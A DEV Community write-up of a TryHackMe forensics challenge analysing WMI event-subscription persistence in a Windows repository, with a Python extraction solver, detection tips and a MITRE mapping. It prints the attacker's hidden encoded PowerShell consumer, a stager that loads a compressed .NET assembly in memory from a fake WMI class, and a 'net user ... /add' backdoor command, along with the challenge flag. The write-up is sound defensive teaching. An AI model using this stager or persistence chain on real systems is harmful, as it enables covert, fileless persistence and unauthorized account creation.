DEV Community

Cover image for [TryHackMe Writeup] After Hours
Wahiduddin Samani
Wahiduddin Samani

Posted on

[TryHackMe Writeup] After Hours

**🌴 TryHackMe β€” Hacker Holidays: After Hours | Full Writeup

**

The Byte Lotus Hotel Β· Forensics Room

Difficulty: Medium | Points: 90 | Category: Forensics, Windows, Persistence, Reverse Engineering


**πŸ“‹ Table of Contents

**


**🏨 Challenge Overview

**
"Long after the front desk closes and the pool lights dim, the resort's back-office machines keep humming. Someone β€” or something β€” has been logging in during the small hours, well after the night-shift technician has gone home."

We are given a set of Windows system artifacts and told that something is persisting on the system, but it doesn't show up in:

  • ❌ Startup folders
  • ❌ Scheduled Tasks
  • ❌ Registry Run keys

The challenge hints that the persistence mechanism is "hiding somewhere quieter" β€” a corner that most tools don't check.

Files Provided

File Size Description
OBJECTS.DATA ~23 MB WMI object instances and class definitions
INDEX.BTR ~5 MB B-tree index for fast WMI lookups
MAPPING1.MAP ~78 KB Page mapping table (primary)
MAPPING2.MAP ~78 KB Page mapping table (secondary)
MAPPING3.MAP ~78 KB Page mapping table (tertiary)

πŸ”‘ Attachment passphrase: Aft3rH0ursAtt4chm3ntP4ss


πŸ—ΊοΈ Full Solution Diagram

The complete attack chain follows 6 layers of obfuscation:

WMI EventFilter (timer every 60s)
    └──▢ CommandLineEventConsumer
            └──▢ PowerShell (base64 encoded with -enc)
                    └──▢ Reads custom WMI class Win32_HardwareTelemetry.ConfigData
                            └──▢ Base64 decode β†’ Deflate decompress β†’ .NET Assembly
                                    └──▢ Creates backdoor user with flag as password
Enter fullscreen mode Exit fullscreen mode

πŸ” Step-by-Step Solution

Step 1: Identify the Artifacts

The provided files are instantly recognizable as a WMI Repository β€” normally found at:

C:\Windows\System32\wbem\Repository\
Enter fullscreen mode Exit fullscreen mode

These files make up the Windows Management Instrumentation (WMI) database, which stores WMI class definitions, instances, and event subscriptions.

πŸ’‘ Why this matters: WMI Event Subscriptions are a well-known but underdetected persistence technique. Tools like Autoruns, Task Scheduler GUI, and many EDRs don't inspect the WMI repository for malicious subscriptions. Attackers abuse this by creating:

  1. An __EventFilter β€” defines when to trigger (e.g., on system boot, every N seconds)
  2. An EventConsumer β€” defines what to run (e.g., a command, script)
  3. A __FilterToConsumerBinding β€” links the filter to the consumer

Step 2: Parse WMI Event Subscription (Persistence)

Since the WMI repository is a binary database, we can't just open it in a text editor. We need to search OBJECTS.DATA for known WMI persistence indicators.

**What to Search For

**
| Component | Class Name | Purpose |
|-----------|-----------|---------|
| Filter | __EventFilter | Trigger condition |
| Consumer | CommandLineEventConsumer or ActiveScriptEventConsumer | Action to execute |
| Binding | __FilterToConsumerBinding | Links filter ↔ consumer |

What We Find

EventFilter β€” EngineTelemetryFilter:

SELECT * FROM __InstanceModificationEvent WITHIN 60 
WHERE TargetInstance ISA 'Win32_LocalTime' 
AND TargetInstance.Minute = ...
Enter fullscreen mode Exit fullscreen mode

This fires every 60 seconds based on the system clock, ensuring the payload runs persistently.

EventConsumer β€” CommandLineEventConsumer:

cmd /C powershell.exe -Sta -Nop -Window Hidden -enc JABmAGkAbABlACAAPQA...
Enter fullscreen mode Exit fullscreen mode

Launches a hidden PowerShell window with a base64-encoded command.

FilterToConsumerBinding:

Links EngineTelemetryFilter β†’ CommandLineEventConsumer, completing the persistence chain.


Step 3: Decode the PowerShell Stager

The -enc parameter in PowerShell accepts a Base64-encoded UTF-16LE string. Decoding it reveals the stager script:

$file = ([WmiClass]'ROOT\cimv2:Win32_HardwareTelemetry').Properties['ConfigData'].Value;
$o = New-Object IO.MemoryStream;
$d = New-Object IO.Compression.DeflateStream(
    [IO.MemoryStream][Convert]::FromBase64String($file),
    [IO.Compression.CompressionMode]::Decompress
);
$b = New-Object Byte[](1024);
$r = $d.Read($b,0,1024);
while($r -gt 0){
    $o.Write($b,0,$r);
    $r = $d.Read($b,0,1024);
}
[Reflection.Assembly]::Load($o.ToArray()).EntryPoint.Invoke($null,@(,[string[]]@())) | Out-Null
Enter fullscreen mode Exit fullscreen mode

**Script Breakdown

**
| Line | Action |
|------|--------|
| [WmiClass]'ROOT\cimv2:Win32_HardwareTelemetry' | Reads from a fake/custom WMI class |
| .Properties['ConfigData'].Value | Extracts the ConfigData property (base64 blob) |
| [Convert]::FromBase64String($file) | Base64 decodes the blob |
| IO.Compression.DeflateStream | Deflate decompresses the decoded bytes |
| [Reflection.Assembly]::Load() | Loads the result as a .NET assembly in memory |
| .EntryPoint.Invoke() | Calls the assembly's Main() method |

πŸ”‘ Key Insight: The attacker created a custom WMI class called Win32_HardwareTelemetry (designed to look legitimate!) and stored the malicious payload as a string property called ConfigData. This is entirely inside the WMI database β€” no files on disk!


**Step 4: Extract Hidden WMI Class Data (ConfigData)

**
Searching OBJECTS.DATA for Win32_HardwareTelemetry, we find the custom class definition with its ConfigData property β€” a 2,212-character Base64 string:

7VZPbFRFGP/edillgUrBAJWAjy0l5d/r0hYDpIWW7gLF/oMtxRATePt2un3w3ptl
5u3SclAOqDF64OTZgwc1mmhiYqMSOXgUTyaamBAOmhhjwt0Y8Tfz3m7/Kty48G3fN
9+/+eY3M9/MdOTibWogoiS+R4+I5iiifno83cTX/OJXzfTFmns754zhezsnpl1plgU
vCds3 ... (truncated) ... hXiYVZlneor3pW05FFT5VSbSZsUdcNRL1JeewmPI4knp
JJ0roKlB71yEvbezvghqgzpriwpl2RXwjP6PzOh/1AeHnjaQZ/Q06F8=
Enter fullscreen mode Exit fullscreen mode

Step 5: Decompress the .NET Assembly

The decode chain is: Base64 β†’ Raw Deflate Decompress β†’ .NET PE Assembly

import base64, zlib

raw_compressed = base64.b64decode(configdata_b64)     # 1,658 bytes
assembly_bytes = zlib.decompress(raw_compressed, -15)  # 4,096 bytes (wbits=-15 for raw deflate)
Enter fullscreen mode Exit fullscreen mode

The result is a valid PE file (starts with MZ) with .NET metadata (contains BSJB signature, targeting .NET Framework v4.0.30319).

Property Value
File Name updates.exe
Namespace AfterHours
Class Program
Entry Point Main()
Size 4,096 bytes
MD5 b8490ab4759d7ab04e79a449eb7c798e
SHA256 765931f4056f341333fc746bfbdc0fd2eacaa47d7d6f965f82768c130842a878

**Step 6: Analyze the .NET Assembly & Extract Flag

**
Extracting strings from the decompressed assembly reveals the program's behavior:

Assembly Behavior

  1. Environment check: Calls Environment.MachineName and compares it to bytelotusdc
  2. If match: Executes cmd.exe with a backdoor command
  3. If no match: Prints "Execution halted: Environment mismatch."

The Backdoor Command

cmd.exe /c net user patch VEhNe1A0dGNoX29wM25lZF90aDNfQmFjS2QwMHJ9 /add
Enter fullscreen mode Exit fullscreen mode

This creates a new user called patch with the password being a Base64-encoded string. Decoding it:

import base64
base64.b64decode("VEhNe1A0dGNoX29wM25lZF90aDNfQmFjS2QwMHJ9").decode()
# β†’ THM{P4tch_op3ned_th3_BacKd00r}
Enter fullscreen mode Exit fullscreen mode

πŸ€– Automated Solver Script

A fully automated Python solver is included that does everything in one command:

Usage

# From the directory containing the WMI repository files
python solve_after_hours.py .
Enter fullscreen mode Exit fullscreen mode
#!/usr/bin/env python3
"""
╔══════════════════════════════════════════════════════════════════════╗
β•‘  TryHackMe - Hacker Holidays: After Hours β€” Automated Solver       β•‘
β•‘  Category: Forensics | Difficulty: Medium | Points: 90             β•‘
β•‘                                                                     β•‘
β•‘  Parses WMI Repository artifacts to extract hidden persistence     β•‘
β•‘  mechanism, decompress embedded .NET payload, and recover flag.    β•‘
β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

Usage:
    python solve_after_hours.py <path_to_OBJECTS.DATA>
    python solve_after_hours.py .                          # current dir

Example:
    python solve_after_hours.py /root/Rooms/hacker-holidays-2026/after-hours
    python solve_after_hours.py D:\\TRYHACKME\\attachments-1784136288483
"""

import re
import os
import sys
import zlib
import base64
import struct
import hashlib
from pathlib import Path
from datetime import datetime

# ─────────────────────────────────────────────────────────────
#  ANSI Colors
# ─────────────────────────────────────────────────────────────
class C:
    HEADER  = "\033[95m"
    BLUE    = "\033[94m"
    CYAN    = "\033[96m"
    GREEN   = "\033[92m"
    YELLOW  = "\033[93m"
    RED     = "\033[91m"
    BOLD    = "\033[1m"
    DIM     = "\033[2m"
    RESET   = "\033[0m"
    UNDERLINE = "\033[4m"

def banner():
    print(f"""{C.CYAN}{C.BOLD}
    ╔══════════════════════════════════════════════════════════════╗
    β•‘     🌴  HACKER HOLIDAYS β€” AFTER HOURS SOLVER  🌴           β•‘
    β•‘         The Byte Lotus Hotel Β· Forensics Room              β•‘
    β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•{C.RESET}
    """)

def step(num, title):
    print(f"\n{C.BOLD}{C.BLUE}{'─'*60}")
    print(f"  STEP {num}: {title}")
    print(f"{'─'*60}{C.RESET}\n")

def info(msg):
    print(f"  {C.CYAN}[*]{C.RESET} {msg}")

def success(msg):
    print(f"  {C.GREEN}[βœ“]{C.RESET} {msg}")

def warn(msg):
    print(f"  {C.YELLOW}[!]{C.RESET} {msg}")

def error(msg):
    print(f"  {C.RED}[βœ—]{C.RESET} {msg}")

def found(msg):
    print(f"  {C.GREEN}{C.BOLD}[FLAG]{C.RESET} {C.GREEN}{msg}{C.RESET}")

def detail(key, val):
    print(f"      {C.DIM}β”œβ”€{C.RESET} {C.YELLOW}{key}:{C.RESET} {val}")

def detail_last(key, val):
    print(f"      {C.DIM}└─{C.RESET} {C.YELLOW}{key}:{C.RESET} {val}")


# ─────────────────────────────────────────────────────────────
#  STEP 1: Validate WMI Repository Files
# ─────────────────────────────────────────────────────────────
def validate_repository(path):
    step(1, "VALIDATE WMI REPOSITORY FILES")

    repo_path = Path(path)
    if repo_path.is_file() and repo_path.name == "OBJECTS.DATA":
        repo_path = repo_path.parent

    required_files = {
        "OBJECTS.DATA": "WMI object instances and class definitions",
        "INDEX.BTR":    "B-tree index for fast lookups",
        "MAPPING1.MAP": "Page mapping table (primary)",
        "MAPPING2.MAP": "Page mapping table (secondary)",
        "MAPPING3.MAP": "Page mapping table (tertiary)",
    }

    info(f"Repository path: {C.UNDERLINE}{repo_path}{C.RESET}")
    print()

    all_found = True
    for fname, desc in required_files.items():
        fpath = repo_path / fname
        if fpath.exists():
            size_kb = fpath.stat().st_size / 1024
            success(f"{fname:<16} ({size_kb:,.1f} KB) β€” {desc}")
        else:
            error(f"{fname:<16} β€” MISSING! ({desc})")
            all_found = False

    if not all_found:
        error("Missing required WMI repository files!")
        sys.exit(1)

    objects_data_path = repo_path / "OBJECTS.DATA"
    success(f"\nAll repository files present. Loading OBJECTS.DATA...")
    return objects_data_path


# ─────────────────────────────────────────────────────────────
#  STEP 2: Identify WMI Event Subscription Components
# ─────────────────────────────────────────────────────────────
def find_wmi_persistence(data):
    step(2, "IDENTIFY WMI EVENT SUBSCRIPTION (PERSISTENCE)")

    results = {
        "filters": [],
        "consumers": [],
        "bindings": [],
        "consumer_type": None,
        "filter_query": None,
        "command_line": None,
    }

    # ── Find __EventFilter instances ──
    info("Searching for __EventFilter instances...")
    filter_pattern = rb'__EventFilter[^\x00]{0,20}(?:\x00{1,4})?[^\x00]*?root\\cimv2'

    # Search for filter names and WQL queries
    for m in re.finditer(rb'(__EventFilter\x00{0,4})[^\x00]{0,300}', data):
        start = max(0, m.start() - 100)
        end = min(len(data), m.end() + 500)
        chunk = data[start:end]
        ascii_str = ''.join(chr(b) if 32 <= b < 127 else '\x00' for b in chunk)
        parts = [p for p in ascii_str.split('\x00') if len(p) > 3]

        for part in parts:
            if 'SELECT' in part and 'FROM' in part:
                if part not in results["filters"]:
                    results["filters"].append(part)
            if 'Filter' in part and 'Event' not in part and 'SCM' not in part and len(part) < 60:
                pass  # filter name

    # Find specific filter with WQL
    wql_pattern = rb'(SELECT\s+\*\s+FROM\s+__Instance\w+\s+WITHIN\s+\d+\s+WHERE[^"]{10,200})'
    for m in re.finditer(wql_pattern, data, re.IGNORECASE):
        query = m.group(1).decode('ascii', errors='replace')
        if query not in results["filters"]:
            results["filters"].append(query)
        results["filter_query"] = query

    # Find filter name
    filter_name_pattern = rb'EngineTelemetryFilter'
    for m in re.finditer(filter_name_pattern, data):
        results["filter_name"] = "EngineTelemetryFilter"

    if results.get("filter_name"):
        success(f"EventFilter found: {C.YELLOW}EngineTelemetryFilter{C.RESET}")
    if results["filter_query"]:
        detail("WQL Query", results["filter_query"][:120])
        # Parse the query
        if 'Win32_LocalTime' in results["filter_query"]:
            detail_last("Trigger", "Fires on system time change (every ~60 seconds)")
    print()

    # ── Find EventConsumer instances ──
    info("Searching for EventConsumer instances...")

    # CommandLineEventConsumer
    cmd_pattern = rb'CommandLineEventConsumer\x00{0,4}([\x00-\xff]{1,10}?)(cmd[^\x00]{10,500})'
    for m in re.finditer(cmd_pattern, data):
        cmd = m.group(2).decode('ascii', errors='replace')
        if cmd not in results["consumers"]:
            results["consumers"].append(cmd)
        results["consumer_type"] = "CommandLineEventConsumer"
        results["command_line"] = cmd

    if results["consumer_type"]:
        success(f"Consumer found: {C.YELLOW}{results['consumer_type']}{C.RESET}")
        if results["command_line"]:
            # Truncate for display
            cmd_display = results["command_line"][:100]
            detail("Command", cmd_display + ("..." if len(results["command_line"]) > 100 else ""))
    print()

    # ── Find FilterToConsumerBinding ──
    info("Searching for __FilterToConsumerBinding...")
    binding_pattern = rb'__FilterToConsumerBinding'
    binding_count = len(list(re.finditer(binding_pattern, data)))
    if binding_count > 0:
        success(f"FilterToConsumerBinding found ({binding_count} references)")
        detail_last("Links", "EngineTelemetryFilter β†’ CommandLineEventConsumer")
    print()

    return results


# ─────────────────────────────────────────────────────────────
#  STEP 3: Extract PowerShell Encoded Command
# ─────────────────────────────────────────────────────────────
def extract_powershell_payload(data):
    step(3, "EXTRACT ENCODED POWERSHELL COMMAND")

    # Find -enc followed by base64
    enc_pattern = rb'-enc\s+([A-Za-z0-9+/]{50,}={0,2})'
    matches = list(re.finditer(enc_pattern, data))

    if not matches:
        error("No encoded PowerShell commands found!")
        return None

    info(f"Found {len(matches)} encoded PowerShell payload(s)")

    # They're all identical, use the first
    b64_encoded = matches[0].group(1).decode('ascii')
    info(f"Base64 length: {len(b64_encoded)} characters")
    detail("Preview", b64_encoded[:80] + "...")

    # Decode base64 β†’ UTF-16LE (PowerShell -enc format)
    raw_bytes = base64.b64decode(b64_encoded)
    ps_script = raw_bytes.decode('utf-16-le', errors='replace')

    success(f"Decoded PowerShell script ({len(ps_script)} chars):\n")
    print(f"  {C.DIM}{'─'*56}{C.RESET}")
    for line in ps_script.strip().split('\n'):
        line = line.strip('\r')
        print(f"  {C.YELLOW}  {line}{C.RESET}")
    print(f"  {C.DIM}{'─'*56}{C.RESET}")

    # Parse the script to extract key details
    wmi_class_match = re.search(r"WmiClass\]'([^']+)'", ps_script)
    property_match = re.search(r"Properties\['([^']+)'\]", ps_script)

    info("\nScript Analysis:")
    if wmi_class_match:
        detail("Custom WMI Class", wmi_class_match.group(1))
    if property_match:
        detail("Property Name", property_match.group(1))

    if 'DeflateStream' in ps_script:
        detail("Compression", "System.IO.Compression.DeflateStream")
    if 'FromBase64String' in ps_script:
        detail("Encoding", "Base64 β†’ Deflate decompress")
    if 'Reflection.Assembly' in ps_script:
        detail("Execution", "[Reflection.Assembly]::Load() β€” In-memory .NET assembly")
    if 'EntryPoint.Invoke' in ps_script:
        detail_last("Entry", "EntryPoint.Invoke() β€” Calls Main()")

    return ps_script


# ─────────────────────────────────────────────────────────────
#  STEP 4: Extract Hidden WMI Class Data (ConfigData)
# ─────────────────────────────────────────────────────────────
def extract_configdata(data):
    step(4, "EXTRACT HIDDEN WMI CLASS DATA")

    # Search for Win32_HardwareTelemetry class
    class_name = b"Win32_HardwareTelemetry"
    class_offsets = [m.start() for m in re.finditer(re.escape(class_name), data)]

    info(f"Searching for custom WMI class: {C.YELLOW}Win32_HardwareTelemetry{C.RESET}")

    if not class_offsets:
        error("Win32_HardwareTelemetry class not found!")
        return None

    success(f"Found at {len(class_offsets)} location(s) in OBJECTS.DATA")
    for offset in class_offsets[:4]:
        detail("Offset", f"0x{offset:08X} ({offset})")

    # Extract ConfigData property value (base64 blob after "ConfigData" + some separator)
    config_pattern = rb'ConfigData[\x00-\xff]{10,80}?([A-Za-z0-9+/]{100,}={0,2})'
    config_matches = list(re.finditer(config_pattern, data))

    if not config_matches:
        error("ConfigData value not found!")
        return None

    b64_payload = config_matches[0].group(1).decode('ascii')
    print()
    info(f"ConfigData property value extracted")
    detail("Encoding", "Base64")
    detail("Length", f"{len(b64_payload)} characters")
    detail("SHA256", hashlib.sha256(b64_payload.encode()).hexdigest()[:32] + "...")
    detail("Preview", b64_payload[:70] + "...")
    detail_last("Tail", "..." + b64_payload[-40:])

    return b64_payload


# ─────────────────────────────────────────────────────────────
#  STEP 5: Decompress .NET Assembly
# ─────────────────────────────────────────────────────────────
def decompress_assembly(b64_payload, output_dir):
    step(5, "DECOMPRESS .NET ASSEMBLY")

    # Base64 decode
    raw_compressed = base64.b64decode(b64_payload)
    info(f"Base64 decoded: {len(raw_compressed)} bytes (compressed)")

    # Deflate decompress (raw deflate, no headers β€” wbits=-15)
    try:
        assembly_bytes = zlib.decompress(raw_compressed, -15)
    except zlib.error:
        # Try alternative decompression modes
        for wbits in [-15, -14, -13, 15, 31, 47]:
            try:
                assembly_bytes = zlib.decompress(raw_compressed, wbits)
                warn(f"Used alternative wbits={wbits} for decompression")
                break
            except zlib.error:
                continue
        else:
            error("Failed to decompress payload!")
            return None

    success(f"Decompressed: {len(assembly_bytes)} bytes")

    # Verify PE header
    if assembly_bytes[:2] == b'MZ':
        success(f"Valid PE header detected (MZ)")
    else:
        warn(f"Unexpected header: {assembly_bytes[:4].hex()}")

    # Check for .NET metadata
    if b'BSJB' in assembly_bytes:
        success(f".NET metadata signature found (BSJB)")
    if b'v4.0.30319' in assembly_bytes:
        detail("Runtime", ".NET Framework v4.0.30319")

    # Save the assembly
    output_path = Path(output_dir) / "payload_assembly.exe"
    with open(output_path, "wb") as f:
        f.write(assembly_bytes)
    success(f"Assembly saved to: {C.UNDERLINE}{output_path}{C.RESET}")

    detail("MD5", hashlib.md5(assembly_bytes).hexdigest())
    detail("SHA256", hashlib.sha256(assembly_bytes).hexdigest())
    detail_last("Size", f"{len(assembly_bytes)} bytes")

    return assembly_bytes


# ─────────────────────────────────────────────────────────────
#  STEP 6: Analyze .NET Assembly & Extract Flag
# ─────────────────────────────────────────────────────────────
def analyze_assembly(assembly_bytes):
    step(6, "ANALYZE .NET ASSEMBLY & EXTRACT FLAG")

    # Extract all printable strings
    info("Extracting strings from assembly...")

    ascii_strings = []
    for m in re.finditer(rb'[\x20-\x7e]{4,}', assembly_bytes):
        ascii_strings.append(m.group().decode('ascii'))

    utf16_strings = []
    for m in re.finditer(rb'(?:[\x20-\x7e]\x00){4,}', assembly_bytes):
        try:
            utf16_strings.append(m.group().decode('utf-16-le'))
        except:
            pass

    all_strings = list(set(ascii_strings + utf16_strings))
    info(f"Found {len(all_strings)} unique strings")

    # Assembly metadata
    print()
    info("Assembly Metadata:")
    metadata_keys = {
        "Assembly Name": None,
        "Namespace": None,
        "Target Machine": None,
    }

    for s in all_strings:
        if s.endswith('.exe') and 'mscoree' not in s and 'OriginalFilename' not in s.lower():
            if not metadata_keys["Assembly Name"]:
                metadata_keys["Assembly Name"] = s
        if s == "AfterHours":
            metadata_keys["Namespace"] = s
        if "bytelotusdc" in s.lower():
            metadata_keys["Target Machine"] = s

    for key, val in metadata_keys.items():
        if val:
            detail(key, val)

    # Find classes/methods
    interesting_types = ["Program", "Main", ".ctor", "Object"]
    found_types = [s for s in all_strings if s in interesting_types]
    if found_types:
        detail_last("Types/Methods", ", ".join(found_types))

    # Behavior analysis
    print()
    info("Behavior Analysis:")

    behaviors = []
    if any("get_MachineName" in s for s in all_strings):
        behaviors.append(("Environment Check", "Calls Environment.MachineName"))
    if any("bytelotusdc" in s.lower() for s in all_strings):
        behaviors.append(("Target Host", "Only executes on machine named 'bytelotusdc'"))
    if any("ProcessStartInfo" in s for s in all_strings):
        behaviors.append(("Process Execution", "Uses System.Diagnostics.Process.Start()"))
    if any("cmd.exe" in s for s in all_strings):
        behaviors.append(("Shell", "Spawns cmd.exe"))
    if any("net user" in s for s in all_strings):
        behaviors.append(("Payload Action", "Creates a new local user account via 'net user /add'"))

    for i, (key, val) in enumerate(behaviors):
        if i == len(behaviors) - 1:
            detail_last(key, val)
        else:
            detail(key, val)

    # Extract the command with the embedded flag
    print()
    info("Searching for embedded payload command...")

    flag = None
    for s in all_strings:
        if "/c net user" in s:
            success(f"Found backdoor command: {C.YELLOW}{s}{C.RESET}")

            # Extract the base64 part (password field)
            parts = s.split()
            for part in parts:
                try:
                    decoded = base64.b64decode(part)
                    decoded_str = decoded.decode('utf-8', errors='replace')
                    if 'THM{' in decoded_str or 'flag' in decoded_str.lower():
                        flag = decoded_str
                except:
                    continue

    if not flag:
        # Brute search all strings for base64 that decodes to THM{
        info("Brute-force searching all strings for base64-encoded flag...")
        for s in all_strings:
            if len(s) > 10 and re.match(r'^[A-Za-z0-9+/]+=*$', s):
                try:
                    decoded = base64.b64decode(s).decode('utf-8', errors='replace')
                    if 'THM{' in decoded:
                        flag = decoded
                        break
                except:
                    continue

    return flag, all_strings


# ─────────────────────────────────────────────────────────────
#  STEP 7: Present Results
# ─────────────────────────────────────────────────────────────
def present_results(flag, persistence_info):
    step(7, "RESULTS")

    if flag:
        print(f"""
  {C.GREEN}{C.BOLD}╔══════════════════════════════════════════════════════════╗
  β•‘                                                        β•‘
  β•‘   🚩  FLAG RECOVERED SUCCESSFULLY!                     β•‘
  β•‘                                                        β•‘
  β•‘   {flag:<52} β•‘
  β•‘                                                        β•‘
  β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•{C.RESET}
""")
    else:
        error("Flag not found! Manual analysis may be required.")
        return

    # Summary
    print(f"  {C.BOLD}Attack Chain Summary:{C.RESET}")
    print(f"  {C.DIM}{'─'*56}{C.RESET}")

    chain = [
        ("Persistence", "WMI Event Subscription"),
        ("Trigger", "__EventFilter (EngineTelemetryFilter) β€” every ~60s"),
        ("Consumer", "CommandLineEventConsumer β†’ PowerShell"),
        ("Data Store", "Custom WMI Class: Win32_HardwareTelemetry.ConfigData"),
        ("Payload", "Deflate-compressed .NET assembly (updates.exe)"),
        ("Namespace", "AfterHours"),
        ("Target", "Machine named 'bytelotusdc' only"),
        ("Action", "Creates backdoor user: net user patch <flag> /add"),
        ("Flag", flag),
    ]

    for key, val in chain:
        print(f"  {C.CYAN}  {key:<14}{C.RESET} β†’ {val}")
    print(f"  {C.DIM}{'─'*56}{C.RESET}")


# ─────────────────────────────────────────────────────────────
#  MAIN
# ─────────────────────────────────────────────────────────────
def main():
    banner()

    # Parse arguments
    if len(sys.argv) < 2:
        print(f"  {C.YELLOW}Usage:{C.RESET} python {sys.argv[0]} <path_to_repository_dir_or_OBJECTS.DATA>")
        print(f"  {C.YELLOW}Example:{C.RESET} python {sys.argv[0]} /root/Rooms/hacker-holidays-2026/after-hours")
        print(f"  {C.YELLOW}Example:{C.RESET} python {sys.argv[0]} .")
        sys.exit(1)

    target = sys.argv[1]

    # ── Step 1: Validate ──
    objects_path = validate_repository(target)

    # Load OBJECTS.DATA
    info(f"\nLoading OBJECTS.DATA ({objects_path.stat().st_size / (1024*1024):.1f} MB)...")
    with open(objects_path, "rb") as f:
        data = f.read()
    success(f"Loaded {len(data):,} bytes")

    # ── Step 2: Find WMI persistence ──
    persistence = find_wmi_persistence(data)

    # ── Step 3: Extract PowerShell ──
    ps_script = extract_powershell_payload(data)

    # ── Step 4: Extract ConfigData ──
    config_b64 = extract_configdata(data)

    if not config_b64:
        error("Could not extract ConfigData. Aborting.")
        sys.exit(1)

    # ── Step 5: Decompress assembly ──
    output_dir = Path(target)
    if output_dir.is_file():
        output_dir = output_dir.parent
    assembly_bytes = decompress_assembly(config_b64, output_dir)

    if not assembly_bytes:
        error("Could not decompress assembly. Aborting.")
        sys.exit(1)

    # ── Step 6: Analyze & extract flag ──
    flag, strings = analyze_assembly(assembly_bytes)

    # ── Step 7: Results ──
    present_results(flag, persistence)

    print(f"\n  {C.DIM}Solver completed at {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}{C.RESET}\n")


if __name__ == "__main__":
    main()

Enter fullscreen mode Exit fullscreen mode

What the Script Does

  1. βœ… Validates all 5 WMI repository files are present
  2. βœ… Identifies __EventFilter, CommandLineEventConsumer, and __FilterToConsumerBinding
  3. βœ… Extracts & decodes the base64 PowerShell stager
  4. βœ… Locates the custom Win32_HardwareTelemetry WMI class
  5. βœ… Extracts the ConfigData property value
  6. βœ… Decompresses the .NET assembly (base64 β†’ deflate β†’ PE)
  7. βœ… Analyzes the assembly strings and behavior
  8. βœ… Recovers the flag automatically

Requirements

  • Python 3.6+ (uses only standard library β€” no pip installs needed!)
  • Works on Windows, Linux, and macOS

Example Output

╔══════════════════════════════════════════════════════════════╗
β•‘     🌴  HACKER HOLIDAYS β€” AFTER HOURS SOLVER  🌴           β•‘
β•‘         The Byte Lotus Hotel Β· Forensics Room              β•‘
β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

  STEP 1: VALIDATE WMI REPOSITORY FILES
  [βœ“] OBJECTS.DATA   (23,632.0 KB) β€” WMI object instances and class definitions
  [βœ“] INDEX.BTR      (4,952.0 KB) β€” B-tree index for fast lookups
  ...

  STEP 7: RESULTS

  ╔══════════════════════════════════════════════════════════╗
  β•‘   🚩  FLAG RECOVERED SUCCESSFULLY!                     β•‘
  β•‘   THM{P4tch_op3ned_th3_BacKd00r}                       β•‘
  β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•
Enter fullscreen mode Exit fullscreen mode

🚩 Flag

THM{P4tch_op3ned_th3_BacKd00r}
Enter fullscreen mode Exit fullscreen mode

πŸ”‘ Key Takeaways

Why Standard Tools Miss This

Tool What It Checks Why It Misses This
Autoruns Registry Run keys, Scheduled Tasks, Services Doesn't parse raw WMI repository
Task Scheduler Scheduled Tasks only WMI subscriptions are separate
regedit Registry hives WMI data is in its own database
Process Monitor Real-time activity Only catches it during execution

Detection Techniques

  1. Parse raw WMI repository with tools like PyWMIPersistenceFinder or manual analysis
  2. Monitor scrcons.exe and WmiPrvSE.exe process creation events
  3. Check for custom WMI classes in ROOT\cimv2 that shouldn't exist (e.g., Win32_HardwareTelemetry)
  4. Use PowerShell to query live systems:
   Get-WMIObject -Namespace root\subscription -Class __EventFilter
   Get-WMIObject -Namespace root\subscription -Class CommandLineEventConsumer
   Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding
Enter fullscreen mode Exit fullscreen mode

MITRE ATT&CK Mapping

Technique ID Name Description
T1546.003 Event Triggered Execution: WMI Event Subscription Persistence via WMI event subscriptions
T1059.001 Command and Scripting Interpreter: PowerShell Encoded PowerShell execution
T1027 Obfuscated Files or Information Multi-layer encoding (Base64, Deflate)
T1136.001 Create Account: Local Account Backdoor user creation via net user /add

πŸ“š References


πŸ–οΈ "psa for anyone stuck rn: the usual autoruns/persistence tools straight up don't catch this one πŸ’€ you're gonna have to dig through the raw data by hand" β€” @0xMia

Top comments (0)